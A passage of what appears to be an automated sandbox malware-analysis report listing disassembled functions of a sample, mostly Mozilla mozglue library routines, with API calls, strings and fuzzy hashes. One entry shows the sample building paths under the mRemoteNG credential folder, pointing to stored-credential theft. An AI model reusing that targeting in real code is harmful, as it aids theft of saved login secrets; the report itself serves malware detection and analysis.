Opcode Fuzzy Hash: f0b5aa139f0953091121473cc1e28adb64c91a73579a4f09aa2105eabd18f668
Instruction Fuzzy Hash: CFF0B4757042149FFB006B67D84CA7A777CFB9625DF200019FA4583B85EB35D80587A0

Uniqueness

Uniqueness Score: -1.00%

Function 6C92F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C929420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8F4A68), ref: 6C92945E
Part of subcall function 6C929420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C929470
Part of subcall function 6C929420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C929482
Part of subcall function 6C929420: __Init_thread_footer.LIBCMT ref: 6C92949F

GetCurrentThreadId.KERNEL32 ref: 6C92F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C92F598), ref: 6C92F621

Part of subcall function 6C9294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9294EE
Part of subcall function 6C9294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C929508

GetCurrentThreadId.KERNEL32 ref: 6C92F637
AcquireSRWLockExclusive.KERNEL32(6C96F4B8,?,?,00000000,?,6C92F598), ref: 6C92F645
ReleaseSRWLockExclusive.KERNEL32(6C96F4B8,?,?,00000000,?,6C92F598), ref: 6C92F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C92F62A

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 487988f874733574926f900a7b1a606c21591fca95ebddb1b1107f8297a5251d
Instruction ID: 5d1414a446fc97ed58bad2569a885794ce9ae931897411ff66ce981f3e02ce3f
Opcode Fuzzy Hash: 487988f874733574926f900a7b1a606c21591fca95ebddb1b1107f8297a5251d
Instruction Fuzzy Hash: 85F0B475308214AFFB006B67C84CA7A777CEB9625DF200019FA4583B85DB39980587B0

Uniqueness

Uniqueness Score: -1.00%

Function 6C9205F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C91CFAE,?,?,?,6C8E31A7), ref: 6C9205FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C91CFAE,?,?,?,6C8E31A7), ref: 6C920616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C8E31A7), ref: 6C92061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C8E31A7), ref: 6C920627

Strings

<jemalloc>, xrefs: 6C9205FA, 6C92060F
: (malloc) Error in VirtualFree(), xrefs: 6C92061B, 6C920625

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 101c9a60e61c0773eaefa0dee53230ebfa0258a85b679321f6c41e48722dde22
Instruction ID: 373b2c45a9c6efa37cfadee481212bbd5b3bf8f021ebd9b915d47f5554054f7b
Opcode Fuzzy Hash: 101c9a60e61c0773eaefa0dee53230ebfa0258a85b679321f6c41e48722dde22
Instruction Fuzzy Hash: 04E08CE2A0101437F6146256AC86DBB7A1CDBDA534F080039FD0D82701E95AED2E91F6

Uniqueness

Uniqueness Score: -1.00%

Function 6C8F05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63fac9d865d669aa19607742b50c2753c8c64e7a583211a204861b9554e56fbd
Instruction ID: 15300d554590532b5d36a3ebd9c44acea8351cd537d09bf1c53625c1ee9a08f2
Opcode Fuzzy Hash: 63fac9d865d669aa19607742b50c2753c8c64e7a583211a204861b9554e56fbd
Instruction Fuzzy Hash: A5A15AB0A04749CFDB24CF29CA84A99FBF1BF49304F1489AED45A97B40E731A955CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6C9414A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9414C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9414E2
GetCurrentThreadId.KERNEL32 ref: 6C941546
InitializeConditionVariable.KERNEL32(?), ref: 6C9415BA
free.MOZGLUE(?), ref: 6C9416B4

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 3e630b3dbbfd38e9956e10116c6f4b14177e8ee7cb449f30a8a161f7f5b84c15
Instruction ID: 5c78139dbd7d5d3e75d158711d0334b821619b30457c83a63a965061163e3411
Opcode Fuzzy Hash: 3e630b3dbbfd38e9956e10116c6f4b14177e8ee7cb449f30a8a161f7f5b84c15
Instruction Fuzzy Hash: AC610072A047149BDB11CF21C880BEEBBB4BF9A308F44951CED8A57701EB31E958CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6C93DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C93DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C93D38A,?), ref: 6C93DC6F
free.MOZGLUE(?,?,?,?,?,6C93D38A,?), ref: 6C93DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C93D38A,?), ref: 6C93DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C93D38A,?), ref: 6C93DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C93D38A,?), ref: 6C93DD4A

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: b56478bc773d82f5a799b69f7f15f06e5eb690bc1fae094d4fdb6afb1bb93bc8
Instruction ID: de85b630574097035e47f0f75fbb6e3547cac1ccb6db4164c9967e0445583e82
Opcode Fuzzy Hash: b56478bc773d82f5a799b69f7f15f06e5eb690bc1fae094d4fdb6afb1bb93bc8
Instruction Fuzzy Hash: 95419FB6A00625CFCB00CF99C89099AB7F5FF98304B655469D949ABB11D731FC00CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00417BAE

Part of subcall function 00417641: __mtinitlocknum.LIBCMT ref: 00417657
Part of subcall function 00417641: __amsg_exit.LIBCMT ref: 00417663
Part of subcall function 00417641: EnterCriticalSection.KERNEL32(00000000,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D,?,?,00417158,00000000,00421AC0,0041719F), ref: 0041766B

DecodePointer.KERNEL32(004219C8,00000020,00417CF1,00000000,00000001,00000000,?,00417D13,000000FF,?,00417668,?,00000000,?,00417A49,0000000D), ref: 00417BEA
DecodePointer.KERNEL32(?,00417D13,000000FF,?,00417668,?,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D), ref: 00417BFB

Part of subcall function 004179C2: EncodePointer.KERNEL32(00000000,004191B2,00423DC8,00000314,00000000,?,?,?,?,?,00417F08,00423DC8,Microsoft Visual C++ Runtime Library,00012010), ref: 004179C4

DecodePointer.KERNEL32(-00000004,?,00417D13,000000FF,?,00417668,?,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D), ref: 00417C21
DecodePointer.KERNEL32(?,00417D13,000000FF,?,00417668,?,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D), ref: 00417C34
DecodePointer.KERNEL32(?,00417D13,000000FF,?,00417668,?,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D), ref: 00417C3E

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: 6a1b6e47f482ee4f200ebd968e601a8bdb3106e7e8c25533cbe6d2efabcc28cd
Instruction ID: 2ecc3aad81c9b81e2b27e7e3d170e1f8428b359c85680f8586e03e13f1a28f2c
Opcode Fuzzy Hash: 6a1b6e47f482ee4f200ebd968e601a8bdb3106e7e8c25533cbe6d2efabcc28cd
Instruction Fuzzy Hash: 39314C70A58309DBDF509FA9D8846DDBBF1BB48314F10802BE001A6290EB7C49C5CFAD

Uniqueness

Uniqueness Score: -1.00%

Function 6C926590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C91FA80: GetCurrentThreadId.KERNEL32 ref: 6C91FA8D
Part of subcall function 6C91FA80: AcquireSRWLockExclusive.KERNEL32(6C96F448), ref: 6C91FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C926727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9267C8

Part of subcall function 6C934290: memcpy.VCRUNTIME140(?,?,6C942003,6C940AD9,?,6C940AD9,00000000,?,6C940AD9,?,00000004,?,6C941A62,?,6C942003,?), ref: 6C9342C4

Strings

data, xrefs: 6C926593

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 20367536e2295161826af7c67db672b3c8bfa0cde5c05847409cee9e90f3e03f
Instruction ID: 1fdb584f426c7a67f567d458a2596a259e0df7476728c60fe73fb2972d8b39ca
Opcode Fuzzy Hash: 20367536e2295161826af7c67db672b3c8bfa0cde5c05847409cee9e90f3e03f
Instruction Fuzzy Hash: C4D1BC75A193408FD724CF25C841B9EBBE5AFE5308F10492DE089C7B91EB34E909CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00415960 Relevance: 9.0, APIs: 4, Strings: 2, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(04207EB8,?,?,?,0040F76C,?,04207EB8,00000000), ref: 0041596C
lstrcpyn.KERNEL32(C:\Users\user\AppData\Roaming\mRemoteNG\,04207EB8,04207EB8,?,0040F76C,?,04207EB8), ref: 00415990
lstrlen.KERNEL32(?,?,0040F76C,?,04207EB8), ref: 004159A7
wsprintfA.USER32 ref: 004159C7

Strings

%s%s, xrefs: 004159B5
C:\Users\user\AppData\Roaming\mRemoteNG\, xrefs: 0041598B, 004159C0, 004159D0

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s$C:\Users\user\AppData\Roaming\mRemoteNG\
API String ID: 1206339513-1027354905
Opcode ID: 145a19e204c32b80f721800f8dc263c6d3553908343d9ba3445ddbc103129e49
Instruction ID: ad4ab28855ecf1822f83189248f4f970b5300654cb1d5d0a0ffaf2e78bbea45f
Opcode Fuzzy Hash: 145a19e204c32b80f721800f8dc263c6d3553908343d9ba3445ddbc103129e49
Instruction Fuzzy Hash: 69015A75510908FFCB14DFA8D948EAE7BB9FF88344F108588F90A9B340CA71AA40CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6C91D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C8EEB57,?,?,?,?,?,?,?,?,?), ref: 6C91D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C8EEB57,?), ref: 6C91D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C8EEB57,?), ref: 6C91D673
free.MOZGLUE(?), ref: 6C91D888

Strings

|Enabled, xrefs: 6C91D81E

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 70a4f1955364205c24371251671e2b62e4f88c4ba4dc596673cf26d730c8e982
Instruction ID: 8b6b85e804fb4a5b3a24539db3c5fa3e768754457234386d149e7ac93954ebef
Opcode Fuzzy Hash: 70a4f1955364205c24371251671e2b62e4f88c4ba4dc596673cf26d730c8e982
Instruction Fuzzy Hash: C9A129B1A083089FDB12CF69C4817AEBBF5AF49318F1484ACD8956BB41C731E945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C91F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C91F480

Part of subcall function 6C8EF100: LoadLibraryW.KERNEL32(shell32,?,6C95D020), ref: 6C8EF122
Part of subcall function 6C8EF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C8EF132

CloseHandle.KERNEL32(00000000), ref: 6C91F555

Part of subcall function 6C8F14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C8F1248,6C8F1248,?), ref: 6C8F14C9
Part of subcall function 6C8F14B0: memcpy.VCRUNTIME140(?,6C8F1248,00000000,?,6C8F1248,?), ref: 6C8F14EF

Part of subcall function 6C8EEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C8EEEE3

CreateFileW.KERNEL32 ref: 6C91F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C91F523

Strings

\oleacc.dll, xrefs: 6C91F4CB

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 7bf73337be260f0713e43559e3583d5dc8607ba84d161b07cd94b82628ca6173
Instruction ID: df82455b4d42bf0980af25c15eeceaa9fec90013d184ff77dfa37eac5b854c1e
Opcode Fuzzy Hash: 7bf73337be260f0713e43559e3583d5dc8607ba84d161b07cd94b82628ca6173
Instruction Fuzzy Hash: FC41A27060C7189FE721DF69C985AABB7F4BF9531CF500A1CF59183A90EB30D9498B92

Uniqueness

Uniqueness Score: -1.00%

Function 6C9474A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C947526
__Init_thread_footer.LIBCMT ref: 6C947566
__Init_thread_footer.LIBCMT ref: 6C947597

Strings

UnmapViewOfFile2, xrefs: 6C947552
kernel32.dll, xrefs: 6C947557

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 5956120c09bfbd7e6ca0a6222c0c42119613e06f2e4dfc2a194a82c9ee8fd346
Instruction ID: 595665f88d72d2ef162c5296ac3ca2e5469f19443421e94db6a6ceb6c6b12f78
Opcode Fuzzy Hash: 5956120c09bfbd7e6ca0a6222c0c42119613e06f2e4dfc2a194a82c9ee8fd346
Instruction Fuzzy Hash: 8C21F8317095459BEF148BA68815F69737AFB97B3CB10852DD40587FC0CB21E905C691

Uniqueness

Uniqueness Score: -1.00%

Function 6C94C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C94C0E9), ref: 6C94C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C94C437
FreeLibrary.KERNEL32(?,6C94C0E9), ref: 6C94C44C

Strings

NtQueryVirtualMemory, xrefs: 6C94C431
ntdll.dll, xrefs: 6C94C413

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 1a6a9980f4e7e80e7ff6385baa579cb5de4339bda78d2313e103e99abf309cbe
Instruction ID: a8891c0a0fe33de1a4a99cd5ad54359179bddbd54d252f91dc42922313be283a
Opcode Fuzzy Hash: 1a6a9980f4e7e80e7ff6385baa579cb5de4339bda78d2313e103e99abf309cbe
Instruction Fuzzy Hash: 99E092706093019BFB01AB738A287397AF8B786208F20919EAA06917C0EBB1D0049A90

Uniqueness

Uniqueness Score: -1.00%

Function 6C9475B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C94748B,?), ref: 6C9475B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9475D7
FreeLibrary.KERNEL32(?,6C94748B,?), ref: 6C9475EC

Strings

RtlNtStatusToDosError, xrefs: 6C9475D1
ntdll.dll, xrefs: 6C9475B3

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: bbd131789d6650cf36b503e9dd2d70c7574a9becba6f03175aca839c11c915ca
Instruction ID: 84a4104acfab6306d44f5c736e8f7005a8e20aef58514ad4971bf3d0784726c2
Opcode Fuzzy Hash: bbd131789d6650cf36b503e9dd2d70c7574a9becba6f03175aca839c11c915ca
Instruction Fuzzy Hash: 4AE09A7260C305ABFB015BA3C958721BAF8E746619F20542DE905D56C0EB70C249DF50

Uniqueness

Uniqueness Score: -1.00%

Function 6C947600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C947592), ref: 6C947608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C947627
FreeLibrary.KERNEL32(?,6C947592), ref: 6C94763C

Strings

ntdll.dll, xrefs: 6C947603
NtUnmapViewOfSection, xrefs: 6C947621

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 8b4c0a5ceaf9e22894591e3258c8f28f26bef083f57e5e8e30b946ec633a8821
Instruction ID: 3378c4118e936930091aec671f61cdb1767ded4424544a0a9cb02b83a2f67756
Opcode Fuzzy Hash: 8b4c0a5ceaf9e22894591e3258c8f28f26bef083f57e5e8e30b946ec633a8821
Instruction Fuzzy Hash: 68E092B1609305ABFF016BA78958725BAB8E75A65EF20911DE905D2AC0E7B0C008AF59

Uniqueness

Uniqueness Score: -1.00%

Function 6C938E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C92B58D,?,?,?,?,?,?,?,6C95D734,?,?,?,6C95D734), ref: 6C938E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C92B58D,?,?,?,?,?,?,?,6C95D734,?,?,?,6C95D734), ref: 6C938EBF
free.MOZGLUE(?,?,?,?,6C92B58D,?,?,?,?,?,?,?,6C95D734,?,?,?), ref: 6C938F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C92B58D,?,?,?,?,?,?,?,6C95D734,?,?,?,6C95D734), ref: 6C938F46
free.MOZGLUE(?,?,?,?,6C92B58D,?,?,?,?,?,?,?,6C95D734,?,?,?), ref: 6C938F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C92B58D,?,?,?,?,?,?,?,6C95D734,?,?,?), ref: 6C938F8F

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

